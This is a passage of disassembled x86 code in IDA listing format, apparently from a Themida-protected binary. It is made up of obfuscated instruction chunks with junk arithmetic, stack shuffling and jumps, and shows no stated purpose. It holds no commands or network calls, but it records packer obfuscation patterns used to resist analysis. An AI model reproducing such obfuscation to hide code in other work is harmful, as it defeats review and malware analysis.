jmp loc_56C714
; END OF FUNCTION CHUNK FOR sub_56AA40
; ---------------------------------------------------------------------------
loc_56DFEB: ; CODE XREF: Themida_:00563590j
push dword ptr [esp+4]
jmp loc_55B900
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5637DB
loc_56DFF4: ; CODE XREF: sub_5637DB+Aj
sub ebp, 1C2F47BCh
mov edi, ebp
pop ebp
sub edi, 51F12AA1h
shr edi, 3
jmp loc_5627D2
; END OF FUNCTION CHUNK FOR sub_5637DB
; ---------------------------------------------------------------------------
loc_56E00B: ; CODE XREF: Themida_:005693CCj
shl edx, 8
xor edx, 60361EA5h
push ebx
mov ebx, 0BBB7A8A7h
xor edx, ebx
pop ebx
add ebp, edx
jmp loc_565025
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56E024: ; CODE XREF: sub_56755A+25F4j
not edi
xor edi, 5B7356EBh
add ebx, edi
mov edi, [esp+8+var_8]
sub esp, 4
jmp loc_56E813
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560DA7
loc_56E039: ; CODE XREF: sub_560DA7-CCAj
pop edi
push eax
jmp loc_566B30
; END OF FUNCTION CHUNK FOR sub_560DA7
; ---------------------------------------------------------------------------
loc_56E040: ; CODE XREF: Themida_:0055B6A2j
mov [esp], ecx
push edi
mov edi, 4F2FB3h
jmp loc_564704
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56E04E: ; CODE XREF: sub_56755A+6CCEj
mov [esp+0Ch+var_C], ebx
jmp loc_56A1C0
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56E056: ; CODE XREF: Themida_:0055E224j
push ecx
push 299935BCh
pop ecx
add esi, ecx
mov ecx, [esp]
jmp loc_5644A8
; ---------------------------------------------------------------------------
loc_56E067: ; CODE XREF: Themida_:0055D4D4j
pop eax
and ecx, edx
pop edx
jmp loc_56BCA6
; ---------------------------------------------------------------------------
loc_56E070: ; CODE XREF: Themida_:00569172j
pop ebp
jmp loc_560641
; ---------------------------------------------------------------------------
loc_56E076: ; CODE XREF: Themida_:0055B8ACj
inc ebx
sub ebx, 0CBC1D08Ah
mov ecx, 0CBA1FF3h
jmp loc_55D465
; ---------------------------------------------------------------------------
loc_56E087: ; CODE XREF: Themida_:0055CD48j
push edi
mov edi, 4
add eax, edi
pop edi
xchg eax, [esp]
pop esp
xor eax, ecx
mov ecx, [esp]
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
jmp loc_568304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56E0AD: ; CODE XREF: sub_56755A+8AEFj
pop ecx
add esi, edi
pop edi
add esi, 3C5045F4h
sub esi, 783065F4h
sub esi, ecx
add esi, 783065F4h
sub esi, 3C5045F4h
push edx
mov edx, 57A24AE3h
sub edx, 6FC170Eh
sub esi, edx
mov edx, [esp+8+var_8]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+0Ch+var_C]
pop esp
pop ecx
jmp loc_5682CD
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56E0F2: ; CODE XREF: Themida_:0055CFE8j
push ecx
jmp loc_56D0DA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56E0F8: ; CODE XREF: sub_56755A+5C7j
xor ebp, 74C08524h
mov ecx, ebp
jmp loc_564D9C
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561BE4
loc_56E105: ; CODE XREF: sub_561BE4+E8A3j
mov ebx, [esp+4+var_4]
add esp, 4
push esi
push esp
mov esi, [esp+8+var_8]
add esp, 4
jmp sub_56E75E
; END OF FUNCTION CHUNK FOR sub_561BE4
; ---------------------------------------------------------------------------
loc_56E118: ; CODE XREF: Themida_:0056947Cj
sub edi, ecx
jmp loc_56E15A
; ---------------------------------------------------------------------------
loc_56E11F: ; CODE XREF: Themida_:00564662j
not ecx
shl ecx, 2
jmp loc_562BE2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56E129: ; CODE XREF: sub_56755A-C51j
shr bl, 6
push ecx
jmp loc_56F539
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56E132: ; CODE XREF: Themida_:0056C1E6j
push esi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop esi
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_561242
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56E155: ; CODE XREF: sub_56755A-4BF4j
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56E15A: ; CODE XREF: Themida_:0056E11Aj
mov ecx, [esp]
push ebx
mov ebx, esp
add ebx, 4
push edi
mov edi, 4
add ebx, edi
pop edi
xchg ebx, [esp]
jmp loc_569A67
; ---------------------------------------------------------------------------
loc_56E177: ; CODE XREF: Themida_:0056920Bj
sub edx, 338E24C8h
pop ebx
jmp loc_565F21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560B67
loc_56E183: ; CODE XREF: sub_560B67+1689j
mov ecx, esp
add ecx, 4
jmp loc_560962
; END OF FUNCTION CHUNK FOR sub_560B67
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56E190: ; CODE XREF: sub_56755A-1AD3j
mov [esp-0Ch+arg_8], ecx
mov ecx, 4
add edx, ecx
pop ecx
sub edx, 4
push edx
push [esp-0Ch+arg_C]
jmp loc_56D90C
; ---------------------------------------------------------------------------
loc_56E1A8: ; CODE XREF: sub_56755A-4AC7j
mov ebp, 318F2D15h
add ebx, ebp
push [esp-4+arg_0]
pop ebp
jmp loc_568EBA
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56E1B8: ; CODE XREF: Themida_:0055BD03j
add cl, ah
pop eax
jmp loc_5672FE
; =============== S U B R O U T I N E =======================================
sub_56E1C0 proc near ; CODE XREF: sub_56755A+1B69j
var_3 = byte ptr -3
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 0055DF91 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00562D0C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005695F3 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 00569C4D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056CC11 SIZE 00000010 BYTES
push ebx
not byte ptr [esp-4+arg_0+1]
jmp loc_55DF91
sub_56E1C0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_56E1CA: ; CODE XREF: Themida_:0056629Ej
push 704Ah
mov [esp], edx
push esp
jmp loc_56BC88
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56E1D8: ; CODE XREF: sub_56755A+5E4Dj
pop edx
jmp loc_563788
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56E1DE: ; CODE XREF: Themida_:0055ECA0j
add eax, 4
push 5C03h
mov [esp], ecx
jmp loc_56F61F
; =============== S U B R O U T I N E =======================================
sub_56E1F0 proc near ; CODE XREF: sub_56755A-3D40j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00570601 SIZE 00000012 BYTES
push ebp
push dword ptr [esp+4]
jmp loc_570601
sub_56E1F0 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563973
loc_56E1FA: ; CODE XREF: sub_563973-44DDj
mov [esp+0], ecx
jmp loc_565CFA
; END OF FUNCTION CHUNK FOR sub_563973
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56E202: ; CODE XREF: sub_56755A-934Aj
add esp, 4
jmp sub_56F13C
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56E20D: ; CODE XREF: Themida_:0056D49Bj
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
mov esp, [esp]
jmp loc_55F867
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56E227: ; CODE XREF: sub_56755A-759Ej
pop esp
jmp loc_56E04E
; ---------------------------------------------------------------------------
loc_56E22D: ; CODE XREF: sub_56755A+818j
pop esi
mov eax, [esp+8+var_8]
add esp, 4
jmp loc_55E489
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56E239: ; CODE XREF: Themida_:005631B4j
sub ebx, 0C938FBh
sub ebx, edx
add ebx, 0C938FBh
add ebx, 4C786AC7h
jmp loc_5619D5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56E252: ; CODE XREF: sub_56755A+283Bj
mov edx, eax
pop eax
jmp loc_56C820
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56E25A: ; CODE XREF: Themida_:0056CFA4j
push dword ptr [esp]
pop ebp
add esp, 4
push 27F6h
jmp loc_55C5C2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F653
loc_56E26B: ; CODE XREF: sub_56F653-4C27j
add ch, al
pop eax
add bl, 92h
add bl, ch
sub bl, 92h
pop ecx
jmp loc_5601FA
; END OF FUNCTION CHUNK FOR sub_56F653
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56E27C: ; CODE XREF: sub_56755A-3F24j
push edi
push ebp
push small 6CC6h
mov bp, word ptr [esp+0Eh+var_10+2]
add esp, 2
add bp, 77FDh
jmp loc_56A94B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56E293: ; CODE XREF: Themida_:00562EC7j
push 14F6h
mov [esp], esp
add dword ptr [esp], 4
mov esi, [esp]
jmp loc_5624C1
; ---------------------------------------------------------------------------
loc_56E2AA: ; CODE XREF: Themida_:005686B5j
push ebp
jmp loc_566F99
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56E2B0: ; CODE XREF: sub_56755A+90j
xchg esi, [esp+8+var_8]
jmp loc_566AE7
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56E2B8: ; CODE XREF: Themida_:0056C041j
push edx
mov edx, 4814296Fh
dec edx
xor edx, 79714275h
neg edx
sub edx, 0C73AE798h
xor ebx, edx
jmp loc_55D9A0
; ---------------------------------------------------------------------------
loc_56E2D4: ; CODE XREF: Themida_:0056AAC9j
pop edi
mov ecx, [esp]
jmp loc_55E9A2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56E2DD: ; CODE XREF: sub_56755A-74A0j
sub edx, 4
xchg edx, [esp+0]
jmp loc_55C897
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F653
loc_56E2E8: ; CODE XREF: sub_56F653-6C68j
pop edx
jmp loc_56B382
; END OF FUNCTION CHUNK FOR sub_56F653
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566504
loc_56E2EE: ; CODE XREF: sub_566504-885Cj
mov esp, [esp+0]
mov [esp+0], esi
jmp loc_56608A
; END OF FUNCTION CHUNK FOR sub_566504
; ---------------------------------------------------------------------------
loc_56E2F9: ; CODE XREF: Themida_:0056462Dj
mov [esp], esp
add dword ptr [esp], 4
pop ecx
sub esp, 4
jmp loc_56A0A4
; ---------------------------------------------------------------------------
loc_56E30F: ; CODE XREF: Themida_:0055B8FBj
mov ecx, 52B423E1h
neg ecx
add ecx, 0F3820D41h
jmp loc_560780
; ---------------------------------------------------------------------------
loc_56E321: ; CODE XREF: Themida_:0056239Bj
add ebx, 3FC87302h
pop eax
add ebx, eax
add ebx, 427F22A3h
pop eax
push eax
mov eax, 20CD16F1h
shl eax, 7
sub eax, 30CA4AE3h
sub eax, 2BCA2846h
shr eax, 8
add eax, 34A2308Ah
sub eax, 34AC278Dh
add ebx, eax
jmp loc_569F6C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56E358: ; CODE XREF: sub_56755A-9F22j
pop edx
sub esp, 4
mov [esp+18h+var_18], ecx
mov ecx, 614B4E19h
xor ecx, 50A651A1h
xor ecx, 65964E6Bh
push edx
mov edx, 547B51D7h
xor ecx, edx
pop edx
add edx, ecx
jmp loc_56353B
; ---------------------------------------------------------------------------
loc_56E383: ; CODE XREF: sub_56755A-2D1Fj
and eax, 66B506F0h
add eax, 0F15E5F0Bh
jmp loc_55F96B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56E392: ; CODE XREF: Themida_:00565DF5j
push esp
pop dword ptr [esp]
push 610Eh
mov [esp], edx
mov edx, 4
jmp loc_55C529
; ---------------------------------------------------------------------------
loc_56E3A8: ; CODE XREF: Themida_:005658F3j
pop edi
push eax
mov eax, 688478CFh
shl eax, 7
inc eax
shl eax, 3
jmp loc_56B008
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56E3BB: ; CODE XREF: sub_56755A+AFBj
pop esi
pop [esp-1Ch+arg_18]
mov esp, [esp-20h+arg_1C]
push 49D5h
jmp loc_56F4F4
; ---------------------------------------------------------------------------
loc_56E3CC: ; CODE XREF: sub_56755A+4148j
inc cl
push ebx
mov bl, 1Fh
sub cl, bl
mov ebx, [esp+0]
add esp, 4
jmp loc_5695D1
; ---------------------------------------------------------------------------
loc_56E3DE: ; CODE XREF: sub_56755A-7A43j
pop ebp
sub esp, 4
mov [esp-14h+arg_10], ecx
push [esp-14h+arg_14]
mov ecx, [esp-10h+arg_C]
add esp, 4
pop [esp-14h+arg_10]
pop esp
jmp loc_569A02
; ---------------------------------------------------------------------------
loc_56E3FB: ; CODE XREF: sub_56755A-5F27j
add esi, 0DFDE3E2Eh
and edx, esi
jmp loc_561C6B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F7FC
loc_56E408: ; CODE XREF: sub_56F7FC-B529j
add esp, 4
push esi
mov esi, 4D076916h
and esi, 3C4313DBh
push 1716h
mov [esp-0Ch+arg_8], ebp
push ecx
mov ecx, 1BE66BCAh
mov ebp, ecx
pop ecx
not ebp
inc ebp
jmp loc_56420C
; END OF FUNCTION CHUNK FOR sub_56F7FC
; ---------------------------------------------------------------------------
loc_56E433: ; CODE XREF: Themida_:00569242j
or edi, 65EA4345h
jmp loc_56CE7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56971C
loc_56E43E: ; CODE XREF: sub_56971C+10F2j
push 6E7Eh
jmp loc_55C1C6
; END OF FUNCTION CHUNK FOR sub_56971C
; ---------------------------------------------------------------------------
loc_56E448: ; CODE XREF: Themida_:00562DC4j
push eax
jmp loc_56DEA9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56E44E: ; CODE XREF: sub_56755A-2449j
push 230Dh
jmp loc_567B05
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB7D
loc_56E458: ; CODE XREF: sub_56CB7D-5E5Aj
add ecx, 4
push ebp
push 1874h
mov [esp+0Ch+var_C], ebx
mov ebx, 509941D1h
neg ebx
shr ebx, 4
not ebx
push eax
mov eax, 0F5099419h
xor ebx, eax
pop eax
mov ebp, ebx
jmp loc_55D7E0
; END OF FUNCTION CHUNK FOR sub_56CB7D
; ---------------------------------------------------------------------------
loc_56E483: ; CODE XREF: Themida_:0055C29Aj
push ebp
mov ebp, 657D162Fh
or ebp, 50A1FAFh
shl ebp, 4
not ebp
inc ebp
xor ebp, 4D2754EDh
add edx, ebp
pop ebp
sub ecx, edx
jmp loc_56B03F
; ---------------------------------------------------------------------------
pop dword ptr [edx]
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56E4AC: ; CODE XREF: sub_56755A+1524j
dec ecx
jmp loc_56C884
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56E4B2: ; CODE XREF: Themida_:0056D82Ej
pop edi
add edi, 4
push 86Ah
mov [esp], ebp
mov ebp, 6E6576F0h
jmp loc_56D335
; ---------------------------------------------------------------------------
loc_56E4CB: ; CODE XREF: Themida_:0055B5A0j
pop ebp
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
jmp loc_56A037
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56E4DA: ; CODE XREF: sub_56755A+766Ej
add [esp+24h+var_20], 67F67560h
jmp loc_566F11
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56E4E7: ; CODE XREF: Themida_:0055D468j
add eax, 40891FE3h
add eax, ecx
push edi
mov edi, 40891FE3h
sub eax, edi
pop edi
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push eax
mov eax, esp
add eax, 4
jmp loc_55D98B
; ---------------------------------------------------------------------------
loc_56E50D: ; CODE XREF: Themida_:0055E9C1j
and edx, 7D1F0FA8h
inc edx
xor edx, 6A256573h
mov eax, edx
jmp loc_56AAE8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D600
loc_56E521: ; CODE XREF: sub_56D600+2j
not byte ptr [esp-6+arg_0+2]
jmp loc_55FACC
; END OF FUNCTION CHUNK FOR sub_56D600
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56E529: ; CODE XREF: sub_56755A-9E4j
mov esp, [esp+0]
retn
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
jmp loc_55B555
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebx
push esp
jmp loc_55F6BD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56E53D: ; CODE XREF: sub_56755A-214Fj
mov [esp+0], ebx
push esp
push [esp+2+var_4+2]
mov ebx, [esp+6+var_8+2]
add esp, 4
push ecx
mov ecx, esp
jmp loc_55FD1F
; ---------------------------------------------------------------------------
loc_56E555: ; CODE XREF: sub_56755A-9B7Aj
push esp
pop [esp+16h+var_18+2]
jmp loc_56593C
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_56E55E proc near ; CODE XREF: sub_56558C+16j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055C027 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055C17E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055DDF5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055EF43 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055F509 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055FDE2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005634E2 SIZE 00000043 BYTES
; FUNCTION CHUNK AT 005657A2 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00568BC3 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0056B129 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056BE7B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056CAD8 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056CD2B SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056D54B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056F942 SIZE 00000016 BYTES
push ebx
push 1A84h
mov [esp+8+var_8], edi
jmp loc_56CAD8
sub_56E55E endp
; ---------------------------------------------------------------------------
loc_56E56C: ; CODE XREF: Themida_:0055E512j
pop edx
push esi
mov esi, esp
jmp loc_561850
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56E575: ; CODE XREF: sub_56755A-7335j
and bl, 3Fh
push ebx
inc byte ptr [esp+16h+var_18+2]
jmp loc_5632EE
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56E581: ; CODE XREF: Themida_:0055C983j
sub ecx, edi
mov edi, [esp]
add esp, 4
add ecx, edi
add ecx, 34697CA1h
mov edi, [esp]
push ebx
mov ebx, esp
jmp loc_567D56
; ---------------------------------------------------------------------------
loc_56E59C: ; CODE XREF: Themida_:00561365j
mov esp, [esp]
push eax
mov eax, esp
add eax, 4
push edi
jmp loc_56AC1D
; ---------------------------------------------------------------------------
loc_56E5AD: ; CODE XREF: Themida_:0055DCF0j
add ebx, 0A3E2A83h
jmp loc_568B23
; ---------------------------------------------------------------------------
loc_56E5B8: ; CODE XREF: Themida_:00561F34j
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ebp
push esi
push ecx
push 575C631Fh
pop ecx
push edi
push ecx
push ebp
jmp loc_56AFC3
; ---------------------------------------------------------------------------
loc_56E5DD: ; CODE XREF: Themida_:005623EDj
add eax, 7A3551EBh
mov ecx, [esp]
add esp, 4
inc eax
inc eax
add eax, 458737EBh
jmp loc_5697F5
; ---------------------------------------------------------------------------
loc_56E5F4: ; CODE XREF: Themida_:0055D404j
and bl, 0C5h
sub bl, 99h
mov dh, 0D8h
jmp loc_55CABE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56E601: ; CODE XREF: sub_56755A+2E09j
push edi
mov edi, esp
jmp loc_56F895
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55F5D6
loc_56E609: ; CODE XREF: sub_55F5D6-6D3j
pop ebx
push ecx
jmp sub_5673DF
; END OF FUNCTION CHUNK FOR sub_55F5D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562C5D
loc_56E610: ; CODE XREF: sub_562C5D+5881j
add al, cl
mov ecx, [esp-6+arg_2]
add esp, 4
sub bl, 23h
add bl, al
jmp loc_567C25
; END OF FUNCTION CHUNK FOR sub_562C5D
; ---------------------------------------------------------------------------
loc_56E625: ; CODE XREF: Themida_:0056833Bj
push edx
mov edx, 49636DE8h
add edx, 75541AE2h
add edx, 0C09FA28Eh
mov esi, edx
pop edx
jmp loc_5703E0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_56E63F: ; CODE XREF: sub_56E89A-DA92j
mov esp, [esp+8+var_8]
shl eax, cl
xor eax, esi
jmp loc_569801
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
loc_56E64B: ; CODE XREF: Themida_:0055CC1Dj
pop edi
sub esi, 7B562DE7h
add esi, edx
push ebp
mov ebp, 47B22B6Ch
neg ebp
not ebp
sub ebp, 95B66ECh
or ebp, 5D756E2Ah
shl ebp, 1
jmp loc_56D7AF
; ---------------------------------------------------------------------------
loc_56E671: ; CODE XREF: Themida_:0055FF88j
xor ebp, 169E582Bh
jmp loc_56EA0B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56E67C: ; CODE XREF: sub_56755A+C68j
pop eax
pop ebx
mov ebx, edi
pop edi
sub ecx, 534D46E0h
sub ecx, 47CF4D13h
add ecx, ebx
add ecx, 47CF4D13h
push ebp
jmp loc_56955B
; ---------------------------------------------------------------------------
loc_56E69B: ; CODE XREF: sub_56755A+396Aj
pop esi
mov ebp, eax
pop eax
push ebp
add [esp-1Ch+arg_18], 69436D7Ch
pop edi
sub edi, 69436D7Ch
pop ebp
jmp loc_567CB0
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56E6B4: ; CODE XREF: Themida_:0056698Aj
add al, 98h
add al, dl
sub al, 98h
pop edx
jmp loc_56860C
; ---------------------------------------------------------------------------
loc_56E6C0: ; CODE XREF: Themida_:0056BDDBj
mov ebx, [esp]
add esp, 4
mov edx, esi
pop esi
add [esp+4], edx
pop edx
add [esp], eax
sub esp, 4
mov [esp], ebp
jmp loc_56568B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_56E6DF: ; CODE XREF: sub_56E89A-E0CCj
push dword ptr [esp+0]
mov ebx, [esp+4+var_4]
push eax
jmp loc_55FE3C
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56E6EB: ; CODE XREF: sub_56755A-7126j
mov ebp, 14BA6558h
inc ebp
shr ebp, 4
inc ebp
shl ebp, 1
jmp loc_56AC3E
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562F62
loc_56E6FC: ; CODE XREF: sub_562F62-1B60j
pop edi
add edi, ebx
pop ebx
push 6E3Bh
jmp loc_55C51C
; END OF FUNCTION CHUNK FOR sub_562F62
; ---------------------------------------------------------------------------
loc_56E70A: ; CODE XREF: Themida_:00568BFEj
mov ebp, esp
push esi
mov esi, 2086556Ch
inc esi
neg esi
jmp loc_55E369
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56E71A: ; CODE XREF: sub_56755A-610Ej
mov eax, [esp+1Ch+var_1C]
add esp, 4
jmp loc_55C3A0
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56E725: ; CODE XREF: Themida_:0055F6B8j
xor edi, 78140AD7h
add ebp, 5E331F3Ch
add ebp, edi
sub ebp, 5E331F3Ch
push dword ptr [esp]
pop edi
jmp loc_569DC4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566894
loc_56E742: ; CODE XREF: sub_566894+14j
shr eax, 5
add eax, 0FCF6700h
shl eax, 3
jmp sub_56572D
; END OF FUNCTION CHUNK FOR sub_566894
; ---------------------------------------------------------------------------
loc_56E752: ; CODE XREF: Themida_:0055C4ACj
pop edx
push ecx
mov ecx, 45830FA2h
jmp loc_56B335
; =============== S U B R O U T I N E =======================================
sub_56E75E proc near ; CODE XREF: sub_561BE4+C52Fj
var_C = dword ptr -0Ch
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055DCAD SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0055E1D8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00560916 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00565116 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00567187 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056985C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056A212 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056B14B SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0056EF94 SIZE 0000000B BYTES
sub esp, 4
mov [esp+4+var_4], ebp
jmp loc_55DCAD
sub_56E75E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_56E76C: ; CODE XREF: Themida_:00563858j
mov eax, ecx
pop ecx
shl eax, 4
jmp loc_56651A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56E777: ; CODE XREF: sub_56755A-1563j
pop edx
xchg edi, [esp+18h+var_18]
pop esp
sub [esp+14h+var_14], eax
push 1CBFh
mov [esp+18h+var_18], esi
push ebx
push 570E0557h
pop ebx
jmp loc_55DBD4
; ---------------------------------------------------------------------------
loc_56E793: ; CODE XREF: sub_56755A-7CC5j
not ecx
xchg ecx, edi
push edx
jmp loc_565A67
; ---------------------------------------------------------------------------
loc_56E79D: ; CODE XREF: sub_56755A+1934j
add esi, 7CC70D24h
jmp loc_56082A
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
mov cx, [esp]
push ecx
mov ecx, esp
jmp loc_565EDD
; ---------------------------------------------------------------------------
loc_56E7B4: ; CODE XREF: Themida_:0057027Fj
push small 611Bh
mov [esp], cx
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_56E7C1: ; CODE XREF: Themida_:0056569Ej
add al, 7Ch
sub al, bh
sub al, 7Ch
pop bx
mov ecx, [esp]
push ebp
mov ebp, esp
jmp loc_55CAB3
; ---------------------------------------------------------------------------
loc_56E7D4: ; CODE XREF: Themida_:0056E895j
add ebx, 4
xchg ebx, [esp]
pop esp
push ebp
jmp loc_56D427
; ---------------------------------------------------------------------------
loc_56E7E1: ; CODE XREF: Themida_:0055F2E8j
mov ah, 0
add ah, 3Ah
push 738Fh
mov [esp], edx
sub esp, 4
mov [esp], ebx
mov bl, 0A7h
shr bl, 5
dec bl
add bl, 0D5h
jmp loc_560CD1
; ---------------------------------------------------------------------------
loc_56E806: ; CODE XREF: Themida_:0056C170j
push ecx
mov ecx, 0F443101h
or eax, ecx
jmp loc_565923
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56E813: ; CODE XREF: sub_56755A+6ADAj
mov [esp+0Ch+var_C], esi
mov esi, esp
add esi, 4
jmp loc_5613AF
; ---------------------------------------------------------------------------
loc_56E823: ; CODE XREF: sub_56755A-A0BDj
and eax, ebx
push [esp+14h+var_14]
mov ebx, [esp+18h+var_18]
jmp loc_56A360
; ---------------------------------------------------------------------------
loc_56E830: ; CODE XREF: sub_56755A-59D3j
mov edi, [esp-10h+arg_C]
add esp, 4
